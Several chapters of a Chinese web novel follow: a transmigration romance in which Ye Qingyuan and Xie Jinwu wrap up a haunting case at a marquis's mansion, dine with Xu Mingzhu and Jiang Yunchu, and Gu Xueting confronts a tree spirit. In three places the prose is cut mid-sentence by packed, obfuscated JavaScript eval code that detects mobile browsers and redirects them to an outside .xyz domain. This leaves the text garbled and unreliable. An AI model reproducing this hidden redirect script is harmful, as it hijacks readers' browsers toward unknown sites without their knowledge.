天幕云翳渐聚,日光逐渐阴冷下来,似是一场夏雨凝聚。 槐妖的事基本查清,侯爵府里的家事就不是他们能置喙的了。 叶清圆和谢尽芜走出花厅,向潘璞玉告别。 潘璞玉眉眼间的燥郁烦闷消散不少,他的视线落在叶清圆颈间的白玉吊坠上,唇边牵起一抹意味不明的笑容:“我方才就想说,这件法器瞧起来颇为眼熟。” 叶清圆低头看去,那朵栀子花样式的白玉还坠在她瓷白的颈间,晕出温和朦胧的光芒。 谢尽芜的眉心微蹙:“这是从绘弦姑娘手里买来的。” “那就是了。”潘璞玉回忆片刻,“年前我回府的时候,淳玉曾拿出来给我看过一眼,说这是一位世家子弟拿给他的法器,名为蕴灵玉,叫他用心保管,以后有大用。” 他的声音低沉:“但有一点,不准触碰。这件法器早年间认了主,若外人随意触碰,只会反伤自身。” 叶清圆抬起手,指尖点了点莹润的白玉,竟未察觉到丝毫不适。 谢尽芜的眼潭陡然变得阴冷起来,他眉目压低时的模样很冷漠,带着涌动的压迫感。 他缓声道:“世家子弟?” “是,”潘璞玉颔首,“淳玉不曾看清那人的相貌,只说他戴一张银制面具,面具的脸颊位置镌刻一枝冰凌花。我与辟兵世家交好多年,众仙门世家的子弟我也相识不少,可也并未听闻有这么一位人物。终究是我孤陋寡闻了。” 谢尽芜的心绪纷乱,淡声道:“世家子弟也没有脸戴面具的习惯,此人形迹可疑,或许宋雨阁之死与他也脱不了干系。” 潘璞玉轻笑一声:“世家纷争,终究和我们侯爵府无关。淳玉这些年惹下许多祸端,该我替他收拾这些烂摊子了。” - “系统提示:支线任务二——‘魂断金璧城’已经接近尾声,请宿主做好准备。” 叶清圆琢磨道:支线任务二接近尾声,也就是说,谢尽芜与许明竹之间的那场矛盾也是时候爆发了。 思及至此,她不禁有些焦躁:原著中对于这场矛盾着墨不多,只提到谢尽芜是因仇恨而狠狠打了许明竹一掌,将他的脏腑当场震碎,血溅三尺,却并未提及缘由为何。 或许在大修之前的版本里有提到,毕竟那时的谢尽芜还是这本复仇虐渣文的绝对主角。可惨就惨在,叶清圆看的是修改过后的版本。 看得还不甚仔细。 许明竹和江云初明日就要来到金璧城,无论如何,她行事都要小心谨慎为上。 日头又毒辣起来,金璧城中暑热阵阵蒸腾。 茶楼四面的槛窗都打开了,千花河面的凉风裹着清甜的莲花香吹进屋内,二楼木栏悬垂的竹篾帘子被风拂动,轻轻作响,暑气也随之消散了些许。 这间茶楼在销金窟似的金璧城中算不得有名,却好在清静淡雅,煮的茶也属顶尖。茶水青绿,茶雾氤氲,满室清香萦绕。 叶清圆和谢尽芜还是对坐在靠窗临河的位子,点了一壶清淡的白牡丹。直棂窗大敞着,窗外那株高大的玉兰花树繁茂浓荫,翠绿的枝桠与叶片恰好遮挡住刺目的日光,投下一片难得的阴凉来。 桌面上摆了几碟子点心,软糯清甜,谢尽芜不爱吃,叶清圆便只好独享,享得不亦乐乎。 谢尽芜端坐在对面,腰背挺拔得像松。浓秀的眼睫低垂,他的手中是一封泛黄的信纸,纸上字迹清秀却稍显凌乱,下笔之人的心绪显然阴郁烦乱到了极点。 “莫婉婉为何要将遗书写给宋雨阁?”他的眉心微拧,语气透露出疑惑,“她似乎很笃定,宋雨阁会来找她。” 叶清圆咽下口中的云片糕,思索道:“他们曾经的感情很好啊。” “三支竹签,便心甘情愿受她摆布。” 谢尽芜抬眸望了她一眼,“宋雨阁仅凭一支银簪,就孤身来到金璧城,将自己置于众矢之的。” 他薄红的唇吐出两个字:“愚蠢。” “这个……我该怎么和你解释呢?” 叶清圆绞尽脑汁,搜刮着合适的言辞:“对于宋雨阁来说,莫婉婉是他的昔日好友。好友受到了伤害,他自然要奋不顾身、前来相救的。” 谢尽芜眼睫低垂,淡淡地凝睇她一眼,清润的眸中看不出任何情绪。 叶清圆生怕他听不懂,更详细地解释道:“你想啊,那时候莫婉婉是被迫离家的,她一个无依无靠、尚在念书的小姑娘,碰到了可靠温柔的宋雨阁,对她一路关怀、保护,中途虽然遇到了种种挫折、磨难,可是都被他们巧妙地化解。相依为命了这么久,产生的情谊也自然非同寻常啊。就算并非恋人,那也是称得上惺惺相惜的友情了。” 谢尽芜茫然地看着她,似懂非懂。 叶清圆以手支颐,与他隔桌相望,漂亮端丽的眼眸中带着点点笑意:“无论如何,这都是非常珍贵的情谊。” 谢尽芜的眼睫轻颤。她的声音倦懒温柔,说出来的话好像是一场润泽的甘霖,唤醒了埋藏在他心底的那些种子一样的欢喜与眷恋。 他浓秀的眼睫低垂,胸腔中轻微作响,好像是有什么东西在挣扎着破土而出。 “那么潘淳玉和莫婉婉呢?”他听到自己这样问。 叶清圆脸上的笑一下子就消失了:“那不是爱,那根本就是为了一己私欲而强行占有。他若是真的爱莫婉婉,当初就不该娶她,又将她关在宅子里,不许她出门。” 谢尽芜很安静地看着她,过了一会儿,才漫漫想道:原来她也很不喜欢这样。 可是这分明是最有效的办法啊。 叶清圆气鼓鼓地喝了口茶,转念试探道:“谢尽芜,若是有朝一日你的好友也遇到了危险,你会不顾自身安危相救吗?” 谢尽芜的眉心微蹙,下意识就想反驳。 他八岁流浪,受尽屈辱与冷落,早已养成疏离冷漠、敏感多疑的性情。十二岁进入希夷殿,自从初次结识同龄修士开始,便因天赋出众而身居高位。多年来他掌握生杀大权太久,身旁从来无人可堪称“好友”二字。 可是这种话说出来,倒像是故意博取她的怜悯一样。 谢尽芜与人相处,从不肯落于下风,何至于这样示弱?于是改口道:“我没有这么不堪一击的好友。” “那朋友呢?” 谢尽芜不懂她这句话的用意,黑润的眼眸冷得像潭底的黑曜石,他轻轻摇头:“也没有。” 叶清圆眼里的光芒逐渐黯淡下去了。 心中泛出略显酸涩的滋味。相处了这么久,他们之间原来连朋友都不算啊。 真是一块捂不热的寒冰。 叶清圆不由得满心阴霾,头一次感到如此疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445966|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倦,连和他说笑的劲头都没有了。她垂首挑了块云片方糕,一口咬掉小半个,慢慢咀嚼着,却再也不抬眸看他。 谢尽芜察觉到她的情绪变得不太对劲,有些迷茫地看着她,乌浓的眼睫颤了颤,像是有些不知所措。 从他的视角望去,只能看到她的发髻和金钿,千花河的凉风吹送过来,几缕碎发拂在她瓷白细瘦的脖颈,还有脖颈下方略显单薄的领缘。 “谢尽芜……”叶清圆的眼睫低垂,委婉道,“若有朝一日我遇到了危险呢,你会来救我吗?” 系统不会干预宿主的安危,若是连谢尽芜都不肯救她,她可不想因为做任务而丢掉性命。 她早就打算好了,等任务结束,她还要回到初阳镇做茶庄的大小姐,接着过原本那般闲散富贵的日子。 谢尽芜对这个问题感到莫名:“你为何会陷入危险之中?” 叶清圆随口扯道:“万一呢?潘淳玉背后之事由何人指示,我们还未查清。若他的手段更阴狠残毒,怎么办?” “没有万一。”谢尽芜安静地看着她,“你不会有危险的。” 他的眼眸纯澈干净,像是被冷泉洗过,清隽的脸上满是严肃正经。 窗外的风淡了,栏杆旁悬垂的竹篾帘子轻轻晃动,碰撞出清脆的声响。 茶楼内客人喁喁低语,茶水煮沸了,咕嘟咕嘟的声音逐渐漫出来。温度似乎攀升了,叶清圆的脖颈和脸颊出了些薄汗,一缕发丝拂在了颊边,她伸指勾去。 叶清圆抬起头,端丽的眼眸笑得弯成了一轮月牙:“这块云片糕我实在是吃不下,交给你啦。” 谢尽芜的目光始终定在她的脸上,声音清朗而动听:“我不爱吃甜的。” “多可惜呀,甜食这么好吃。尝一块吧,只要一口就会让你的心情愉悦起来的,信我。”叶清圆笑盈盈地将碟子推到他那边,漂亮的眼瞳中透出真挚、诚恳的光芒。 谢尽芜猝不及防避开她的目光,险些被她眼里漫出的笑意击溃。 修长皙白的手指拈起那块方糕,送入口中轻咬了一小口。谢尽芜殷润的眼潭中犹带些防备与警觉之意,仿佛是怕这糕点中被人下了毒。 叶清圆托着下巴看他,他吃东西的模样干净而端方,长睫垂覆,面容清隽疏冷得不似真人,一看便知是自小就被好好教养的孩子。 她漫不经心地想,原著中只提到谢尽芜在被灭门之后遭受了种种残忍折磨,这才心性大变、冷漠嗜杀。那么在被灭门之前呢? 小时候的谢尽芜是什么样的? 他是否也如寻常的世家公子一样,自小被严格教导,才养出这一身端方的品格与习惯? 举手投足的表面功夫可以装出来,但骨子里的冷傲与清隽却是遮掩不住的。谢尽芜纵使伪装得再温和谦逊,也掩不住他清贵冷傲的本质。 他似乎还有些不习惯这种甜腻的食物,霎时被甜到两眼发黑,险些失明。浓秀的眉蹙起,他连忙举起茶盏饮了半杯,白牡丹的清涩冲淡了口中的甜腻气息,脸色才稍微有所缓和。 叶清圆轻轻地笑了起来。 “你笑什么?”谢尽芜终于察觉到她一瞬不转的视线,皙白的脸颊上染了薄薄的一层红。 叶清圆眼中的笑意愈发浓,她看着谢尽芜清隽干净、故作冷肃的脸,兀自笑得灿烂:“怎么,还不许人笑吗?” 谢尽芜脸上温度层层攀升,慌忙扭过脸去,让清凉的河风扑面吹来,散去脸上的热度。 他将剩下半块云片糕搁在碟子里,清了清嗓子:“这条栀子花的吊坠,戴起来可有什么不适吗?” 叶清圆被他提醒才想起来,手指勾住吊坠的丝线,就要把它摘下来:“险些忘了,本该在侯爵府就摘下来还给你的。” “不必。”谢尽芜抬手止住了她的动作,“我只是随口一问。” “倒没觉得什么不适的地方,可这是你的护身法器吧?戴在我身上终归有些不妥。” “没有不妥。” 叶清圆疑惑。 谢尽芜漂亮黑润的眼珠定定看着她,冷潭底暗流涌动,低声重复了一次:“没有不妥。” 他有时并不像表面看起来那样平静。 良久,他垂下眼睫,唇边扯起一抹淡淡的笑容。 55. 葡萄 “我从不后悔杀了宋雨阁。” 潘淳玉信手一扬,那张泛黄脆弱的遗书就此摔落在地:“纵使重来一千次,一万次!我照样叫他死无葬身之地!” “你真是长能耐了。”潘璞玉坐在桌边,却没怎么恼怒,“你知道宋雨阁是什么人吗,就敢杀?” “他死了这么久,渡真世家不也没派人来找我复仇吗?”潘淳玉紧盯着潘璞玉的眼睛,“说明宋雨阁在渡真世家的地位并不高,或者是他们内部本就有所争斗,他的死恰好合了某些人的心意而已。” 潘璞玉冷哼道:“哦,你看出来了,然后呢?你就放心大胆地去杀一个世家之主的师弟?” 潘淳玉的脸色忽然变得很难看,他的唇色苍白,一言不发。 “你啊你,有点脑子,可惜不多。唯一的小聪明都用在了莫婉婉那个女人身上,你为了她得罪渡真世家,若非我和父亲为朝廷效力多年,你早就被碾得骨渣都不剩了!还能像现在一样坐着和我说话吗?!” 潘璞玉冷声道:“这侯爵府的名声,快要被你们败光了!” 潘淳玉垂着头:“哥。” “我不管这当中死了多少人,从今以后,不许再滥用你那点聪明。再给我和父亲惹事,你在这金璧城的官职也别要了!” 潘淳玉脸颊肌肉颤抖着:“……我知道了。” “还有,听说老夫人与轻山观的那群道士往来甚密?” 潘淳玉的眼睛一瞬睁大了:“母亲只是常去祈福上香而已,除此之外,再无其他。” “竹林宅院中的那些阵法,与她也无关吗?” 潘淳玉讷讷道:“其中有一道,是那个人设下的。” “那另外一道,也就是老夫人授意设下的。”潘璞玉的眼神骤然阴冷下来。 崔老夫人病故了。 金璧城坊间流传:莫婉婉之死的真相,终于水落石出。 她实在福分浅薄,纵使嫁入侯爵府中,因出身低微,亦经年遭受崔老夫人的冷落、欺辱,终至郁郁寡欢,病重而亡。 潘淳玉却是碍于一片孝心,对莫婉婉遭受的苦痛始终无可奈何。 而那位道士,则纯属子虚乌有。 - 熔金般的落日泼洒在对面屋檐的琉璃瓦,溅出金光万道。 “这个侯爵府啊,也挺会胡说八道的。” 许明竹坐在桌边,唇边挂着一抹漫不经心的笑意:“好赖话都让他们讲了,现在还有意把潘淳玉给撇了出来,不许金璧城的百姓随意议论。这所谓的‘坊间传言’,怕也是侯爵府授意放出的消息。” 他边说边将一杯热茶端到江云初的面前:“只可惜那宋雨阁和莫婉婉,不仅被人陷害至死,死后还要被侯爵府抹黑造谣,多年来被金璧城的百姓津津乐道,连最后的清誉也保不住。” 茶水澄澈,茶叶舒展清润,微微青涩的香气凝成茶雾,袅袅浮动。 “孝心、孝心,潘淳玉这个理由找得倒是好,将错处全部推在了崔老夫人的身上,他自己倒像是身不由己了。” 狠心的崔老夫人,疯掉的莫婉婉,无辜的潘淳玉。 江云初无奈地垂首:“算了,不提他们,一池浑水。清圆来,吃菜。” 桌上摆满了饭菜水果,香气浓郁,令人馋心大动。两壶清茶搁在了江云初和叶清圆的旁边,酒则是摆在了谢尽芜和许明竹的眼下。 许明竹和江云初离开许久,再回来时感情似乎更为浓厚甜蜜了。 他们的肩膀挨得很近,搁在桌边的袖口都要纠缠在一处,不经意对视时眼角眉梢也染上笑意,举止亲密而自然。 江云初端起许明竹递来的热茶饮了一口,柔声笑道:“真是好茶。” 叶清圆忍不住也跟着笑,同时腹诽道:如此神仙眷侣,原身究竟是犯了什么病,满心嫉妒、怨恨,甚至暗中使坏,想要拆散他们二人? 许明竹在原著中也是清风两袖般端雅正直的君子,他究竟和谢尽芜之间有什么矛盾,才谢尽芜对他下了死手? 江云初察觉到她投来的视线,笑盈盈道:“金璧城的事我听起来就觉得很复杂,没想到清圆和谢公子这么厉害,没过几日就将事情查得水落石出了。” 她伸手过去,抚了抚叶清圆的肩膀,轻声道:“起初我还当清圆是那样不谙世事的大小姐,真没想到,竟然这么厉害呀。” 她这纯粹是把叶清圆当小孩子哄了,就像做好了事情要给夸奖一般。一时之间众人都忍不住低声笑起来,饭桌上气氛顿时就热了。 河面晚风轻抚着窗边的插花,香气一阵阵浮动。 叶清圆好久没这么放松过,话匣子一旦打开就收不住了。从侯爵府闹鬼一直讲到她和谢尽芜一起去千花河畔看花灯,说,那花灯特别漂亮,云初姐姐和许大哥要不要一起看呢? 江云初的脸色顿时羞赧起来,她神情羞涩地看了许明竹一眼:“有机会我们会去的。” “择日不如撞日,就今晚吧?千花灯会每年只举办七日,今晚是最后一天了。” 叶清圆将木窗推得开些:“你们瞧,河岸边的摊贩都摆好了,等到天色再黑一些,灯会就要开始啦。” 江云初挑起眉,与许明竹对望一眼:“清圆和谢公子一起去看的呀?” “是啊!”叶清圆笑意盈盈地说,“谢尽芜你说,那天晚上的花灯是不是特别漂亮?” 谢尽芜的姿态比平时散漫一些,手腕搁在桌边,修长的手指不经意地抚着酒盏。 他吃多了酒,眼中漫出些醉意,黑润的眼眸泛着细碎的光,宛如积雪初融。 他望着叶清圆略微泛红的脸颊,垂下眼睫道:“嗯,漂亮。” 江云初蓦地笑了,“好。等天色再晚一些,再热闹一些,我们便过去。明竹?” 许明竹会意,也颔首道:“好。” 河道旁很快热闹起来,长龙一般的彩车上镶嵌着流火一般亮丽的灯笼,街上行人熙攘,笑闹声远远地传进酒楼雅间里。 谢尽芜端起酒盏,视线落在那琥珀色的酒液上,被身旁叶清圆的清脆笑声吵得脑仁疼,于是附在她耳边低声道:“少说几句话,快吃,待会该凉了。” 叶清圆抿了抿唇,用筷子夹起一块糖醋鱼放在他的碟子里,眉眼中满是狡黠的笑意:“这道糖醋鱼可好吃了,又香又甜,谢公子快尝尝。” 她挑起眉,故作盛气凌人的模样:“谢公子不是最爱吃甜的吗?” 我什么时候爱吃甜的了? 谢尽芜眯起双眼,唇角微翘,反而用筷子给她夹了一块麻椒鸡:“叶姑娘最爱吃辣的,何不尝尝这个?” 叶清圆明亮纯澈的眼珠动了动,那块鸡肉上辣椒碎和花椒遍布,令人毛骨悚然的辣度。她凑近谢尽芜,忽然轻声道:“我今天吃不了辣,谢公子。” 裹着甜蜜果汁香气的气息喷在他颊边,谢尽芜脊背一僵,随即不动声色地后撤,回过神来:“不能吃就不能吃,为什么非得是今天?” “不告诉你。”叶清圆不理他了,抬手就要给自己倒酒。 谁知这一抬眸,竟见对坐的许明竹和江云初正目不转睛地望着他们两个,脸上浮现某种诡异的……堪称欣慰的笑容。 许明竹意味深长道:“想不到这短短几日过去,你们的感情竟培养得这般好了。” “是啊,一开始我走得仓促,还有些担心他们会相处不来呢。清圆活泼爱闹、性情单纯懵懂,我怕谢公子会觉得她幼稚。”江云初笑盈盈道,“现在看来,是我多虑了。” 叶清圆忍不住腹诽道:他们相处的时候,分明是谢尽芜更幼稚别扭还差不多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448057|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “云初姐姐,你们这次回去,家里的事情可都安顿好了?” 说起这个,江云初脸上柔和的笑容竟是僵了一瞬。她看了谢尽芜一眼,眼睫颤动,又很快移开目光,轻声笑道:“有明竹相助,事情基本都解决了,清圆不必担心。” 许明竹搁下碗筷,也轻轻颔首。 叶清圆没有多想,只当他们的家事不好对外人提及,也不再追问,笑道:“那就好。” 这一顿饭众人吃得很是愉快,饭桌上欢笑阵阵、氛围热闹非凡。酒酣耳热之际,叶清圆一个念头冒出,干脆让小二撤了饭菜酒茶,摆上一副牌九来。 自从金璧城副本开始以来,她的精神总是时刻紧绷着。虽说有谢尽芜在身旁陪着,可是却总没什么安全感。 一来,谢尽芜对于金璧城的事本来就采取袖手旁观的态度,纵使他察觉到异常也很少出手相助,全部的担子都压在了叶清圆的肩上。 二来,谢尽芜现在对她的好感度还很低,甚至说略有防备。按照原著的剧情线发展来看,金璧城副本结束的时候,正是谢尽芜性情转变的关键点。 这就好比是一个定时炸弹。它就在那里,亮着煞人的红光,可是谁都无法阻止。 因此当周身都松懈下来时,叶清圆也有种如蒙大赦的感觉,忍不住要了一壶葡萄酒,和江云初碰杯喝了起来。 可惜,酒量太浅,不过半壶酒下去,她已醉得脸颊浮上酡红。 江云初对她的提议感到哭笑不得:“清圆怎么突然要玩这个?” “我好久没有玩过了。” 叶清圆快要醉倒在桌边,捧着一只酒杯,口齿不清地喃喃道:“我们四个人正好凑一桌,不如就来一局吧?” 她的衣袖如云雾般轻透,漫不经心地拂在桌面上,被葡萄酒沾染得湿了,透出嫣然如血的色彩来。 酒液里的葡萄香气蓦地扩散开,叶清圆特别喜欢这种酸酸甜甜的味道,一杯接一杯地饮。这葡萄酒特意放了薄荷叶,喝到嘴里别有一番清甜爽口的滋味。 她习惯性地舔了舔唇,咂摸着这股清爽的甜味。润红的唇瓣上浮了一层透明的水膜,像是花瓣上晶莹剔透的露水。 “喝醉了?”谢尽芜的视线落在她的唇瓣,顿了两秒,又强迫自己将目光移开。 他浓秀的眼睫垂下去,眉心蓦地蹙起。胸腔中忽地涌上一股烦闷的情绪,甚至有些痛恨叶清圆在别人的眼前醉倒成这副模样。 她醉酒时的模样,他仍旧印象深刻。 本就娇软的身躯化成了一滩水,也丝毫不顾忌什么礼节、风度,两条皙白的手臂藤蔓似的就往人身上缠绕,说出来的话也总叫人招架不住。 可是又舍不得推开她。 谢尽芜的手指捻了捻,恨不得现在就堵上她的嘴巴,或者干脆将她带离酒席,关在房间里头,不叫任何人看到她醉酒后的样子。 “又开始胡言乱语,你就不能正经一点吗?” “我没有喝醉,谢尽芜。”叶清圆拖着懒懒的腔调,眼中却没什么笑意,“你不要害怕,我酒品已经好很多了,绝不会像上次那样缠着你不放,待会也不会麻烦你照顾我的。” 她扭过脸看他,红润的唇角微弯,语声却带着淡淡的嘲讽:“吃一堑长一智。早知道谢公子不喜欢和人有肢体接触,当初就不该和你一起看花灯了。” 谢尽芜的眉心微蹙,神情顿时有些不悦:“你在说什么?” 叶清圆眨眨眼,怕他耳背听不见似的,上半身凑过去:“我说,早知道你不喜欢和人有……唔!” 谢尽芜从果盘里拿了一颗葡萄,塞进了她的口中,堵住了她后面的话。 叶清圆迟钝地嚼了嚼,还挺甜。 谢尽芜垂着睫,与她四目相对,低声道:“不要再胡思乱想了。” 56. 吃醋 今晚的月亮很圆,天幕澄澈,清辉皎洁。 叶清圆醉意上头,回房休息。江云初则是慢悠悠地去逛了夜市。 饭桌上只剩下了谢尽芜和许明竹。 千花河畔已经热闹起来了,小摊小贩摆满了整条街道,行人如织,语笑声混入清凉的晚风,裹着花香一路吹进屋内。 许明竹姿态闲适地给自己倒了杯冷茶,呷了一口,抬眼就看见谢尽芜微蹙的眉心。 他脸部线条本来就生得干净利落,此时蹙眉不解的模样也是清隽冷傲的。 按理来讲这般相貌的少年合该令许多人心动不已,可谢尽芜偏偏性情冷得要命,像是冰上的积雪,终年不化,冻也要将人冻死了。 这也罢了。方才谢尽芜和叶清圆拌嘴胡闹的时候,许明竹仔细审视了他的神色,却觉得谢尽芜的神色与眼神分明是露出些端倪,可他实际上对这种事,或许根本就……不开窍。 许明竹清了清嗓子:“这一道糖醋鱼是这里的招牌菜,怎么不见你动筷子?” 谢尽芜闻言抬眸,神情一瞬恢复成冷静的模样,冷声道:“甜腻腻的东西,一口下去齁得要人命。也就叶清圆喜欢吃。” 话是这么说,可那紧皱着的眉还是舒展开了。 “并非只有叶姑娘喜欢吃。我们都尝过了,味道不错。”许明竹的唇边绽开一抹笑容。 他的视线落在了谢尽芜的碟子里。很好,叶清圆给他夹的那一筷子糖醋鱼,倒是乖乖吃了。 谢尽芜淡声道:“是吗。” “嗯,”许明竹装作不经意地问,“看来叶姑娘很喜欢吃甜食啊。” 谢尽芜蓦地抬眼,目光肃戾:“怎么了?” “咳,没什么,既然叶姑娘喜欢甜食,明日我们还可尝一尝这里的蜂蜜虾球。”许明竹委婉道,“你觉得呢?” 谢尽芜拧着眉瞪他一眼,随即端起酒杯一饮而尽:“随意。” 许明竹低下头,笑着叹了一口气。 “不说这个了,”他轻笑着换了个话题,“听说,侯爵府的这件事里,牵扯到了渡真世家的宋雨阁?” “嗯,”谢尽芜不讲废话,只说结论,“他的尸身至今也没有找到。他身为家主顾九枝的师弟,失踪了这么久,渡真世家却似乎没有派人前来找寻,甚至对外宣称他是闭关。” 许明竹思索片刻:“要么是宋雨阁真的没有死,槐妖在说谎。要么是渡真世家认为这件事太不体面,干脆将他的死讯隐瞒。” 谢尽芜垂眼看着一只空荡的酒盏,瞳孔寒光闪现:“或者,是背后之人同样出自渡真世家。” 许明竹的眉心一蹙:“顾雪庭?” - 今晚月色清朗,千花河清波荡漾,浩浩水流一路向南奔涌。 河面有一只乌篷小船顺流独行,船舱里坐着一名身穿斗篷的青裙女子。 此时小船已经荡出了金璧城。 它掀开斗篷,露出一张素白的脸,以及眼尾的那一粒小痣。 槐妖在金璧城中潜藏了足足两日,才伪装成百姓趁夜划船出城,生怕被城中那个人盯上。 前方河面愈发宽阔,人烟稀少,光线昏暗。河道两旁的柳树掩在黑暗中,秀丽的枝条舒展,宛如姑娘的纤长手臂。 只要再往前走一段就好了,等周遭再无房屋的时候,它就可以恢复本貌,彻底远走高飞。 “砰!” 乌篷船的船顶响起某种细微动静,随即,船身极轻地晃动了一下。 槐妖的心头猛地一颤,立刻站起身来。它尚且没有反应过来,眼前就出现了一道清瘦挺拔的身影。 月光当头泼洒而下,来人脸戴银制面具,脸颊上镌刻一朵冰凌花。 槐妖吓了一跳:“你、你是谁?” 顾雪庭蹲在乌篷船顶,碎发随风扬起,整个人呈现出一种懒散的漫不经心的状态。 他歪着脑袋,声音里有些愉悦的笑意:“莫婉婉,你要去哪里?” “关你屁事啊!” 槐妖蹭地退开半步,气呼呼地瞪着他。却因心生惧怕,而有些底气不足。 乌篷船剧烈地晃了晃,水声清亮。 槐妖有点站不稳,抬头却见船顶的人依旧姿势未变,银质的面具后,颌边肌肉牵动,恍惚是一抹笑意。 顾雪庭道:“我问问嘛。我离开渡真之后可是去过不少地方,对许多城镇乡野的美食、名景都一清二楚。你想去哪里度过后半生?如果还没有中意的地方,或许我可以给你提供某些参考。” 槐妖眼里的防备和敌意减退了些,犹豫道:“真的?” “真的。”顾雪庭笑了一声,“你也认识绘弦姑娘吧?她的后半生归宿,便是我亲手安排。” 槐妖睁着一双大眼睛,是属于莫婉婉的眼睛。它轻声道:“为什么你要这么的……好心?” 顾雪庭嗤笑道:“这就叫好心了?我只是看不得有人被困在囚笼里,不得自由罢了。毕竟当个傀儡的滋味,真的不太好受。” 什么傀儡?谁做傀儡啦? 槐妖在心中嘀咕:我可是光明正大地在做妖! 它耳中听着顾雪庭说话的语气,察觉到他的声音里竟有隐隐的遗憾和落寞。 顾雪庭仰头看着明亮的月光,幽幽地叹了口气。 槐妖不敢吭声。 也不知道这口气是在叹他自己,还是在叹别的相熟之人。 片刻后,顾雪庭似乎收回了思绪,又笑:“不必害怕我趁机对你下手,谢尽芜不是已经废了你半生的修为吗?我没兴趣杀一个不中用的小树妖。” 槐妖大怒:“喂,你简直欺妖太甚!” “谁敢欺负你呀?” 顾雪庭轻声笑着,声音很温柔:“你说你们这两个小姑娘,也真是的,为什么总喜欢做些危险的事呢?也不怕疼,不怕伤么?若是真的恨极了潘淳玉,就该来找我啊。我最见不得有人欺负小姑娘了。” 槐妖露出难以置信的神色:“呸!当年潘淳玉害死莫婉婉的时候,你不就在金璧城吗?为什么不出手?” 顾雪庭耸了耸肩:“我哪知道莫婉婉的事?她成天被关在宅子里,我又见不到。若我当时知道来龙去脉,潘淳玉这混账东西还能喘气到今天?” “你什么都不知道,就敢帮着潘淳玉杀了宋雨阁?” 顾雪庭很坦然:“我和宋雨阁有私仇啊。” 槐妖僵住:“你、你们不是同门吗?你难道不怕被门人追杀?” “谁说同门就不可以有仇了?”顾雪庭笑了,“再说了,我只负责递刀,动手的人是潘淳玉啊。” 他漫不经心地看着槐妖,良久,低声补充了一句:“就算要追杀我也无所谓,我等着她来就是了。” 槐妖仰起头,嘟囔出声:“你还真把自己当什么好人了,我呸。” 顾雪庭“嗯?”了一声,指尖一点,槐妖那乌黑柔顺的发梢立刻燃起一簇火苗,往上燎了起来。 槐妖莫名闻到一股焦糊的味道,立刻慌乱大叫:“火……!火!!” 顾雪庭站起身来,挑眉看着槐妖手舞足蹈地折腾着想要灭火。可那火势越烧越旺,火焰是微冷的,不知为何,竟是燃得它心口都在疼。 槐妖一咬牙,倒头栽进了温凉的江水中。 那火苗终于熄灭。 槐妖挣扎着浮出水面,刚要破口大骂,却听顾雪庭低声道:“我烧了你身上的来自莫婉婉的死气。今后安分些,若是再遇到捉妖除祟的修士,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾雪庭指了指摊子旁的油纸伞:“这些伞晴天时只卖八十文,可若是落雨了,我就要卖两百文喽。” 叶清圆笑道:“好贵。” 顾雪庭也笑,飞挑的眼尾像是一枝探窗的桃花:“卖给男子的价钱,自然是很贵。可若是姑娘想要伞,我就不收钱。” 叶清圆垂下眼睫笑,没接这句话。 细雨淅淅。 顾雪庭撑起一把好大的竹骨伞,往躺椅里一坐,照样有许多姑娘来找他作画。 那些姑娘们热情不减,里三层外三层将他的摊子围得水泄不通。撑起的伞面都是他画的,有玉兰、迎春牡丹等各色花朵,在青石街上绽开一片小小的花海。 谢尽芜为何对此事耿耿于怀? 因为那时叶清圆边收伞边同他提起此事,甚至还笑盈盈地评价了一句:“你说这人是不是很有趣?” 谢尽芜听罢,脸色又冷三分。 有趣? 因为顾雪庭有趣,所以她笑得这么好看么? 谢尽芜没来由地生了一阵闷气,脸色冷得像是被欠了钱似的。 叶清圆还一点儿都没看出来,笑吟吟地取出她顺手买的栗子饼,脆声道:“哇,好香!你要来一块吗?” 谢尽芜心里是不想吃的,但是鉴于她那么殷切地看着自己…… 还是勉强尝了一块。 所以,谢尽芜对顾雪庭的印象本来就不太好,经此一事之后,更雪上加霜。 许明竹见他不提,以为他们并不相熟,于是也不再问。 57. 礼物 客栈的一楼大厅里客流络绎,觥筹交错,二楼卧房却很是安静。 谢尽芜沿着走廊行至尽头,经过叶清圆房间的时候,却见里头传来“咚!”的一声闷响。 他足步一顿,抬手扣门:“叶清圆,你怎么了?” 房间里有窸窣声,叶清圆不太清醒的声音传来:“……好像摔倒了。你、你可以进来。” 谢尽芜抬手推门,无奈道:“你锁着门呢。” 叶清圆隐约是应了一声,过了片刻,房门才从里头打开。 谢尽芜:“摔倒了?” 屋内只燃了两支短烛,点在一只天青瓷瓶的旁边,放大的朦胧花影铺开在墙面。满屋都是葡萄酒的酸甜香气。 叶清圆垂着眼睫点点头,转身回去就歪倒在床榻上。她眼眸微阖,瓷白的脸颊上隐约现出醉酒后的酡红。 谢尽芜在门口顿住了脚步,维持着那个推门的动作不变,殷润的眼眸颤了颤,仿佛是有些不好上前去。 叶清圆含糊不清道:“进来吧,你快把门关上。” 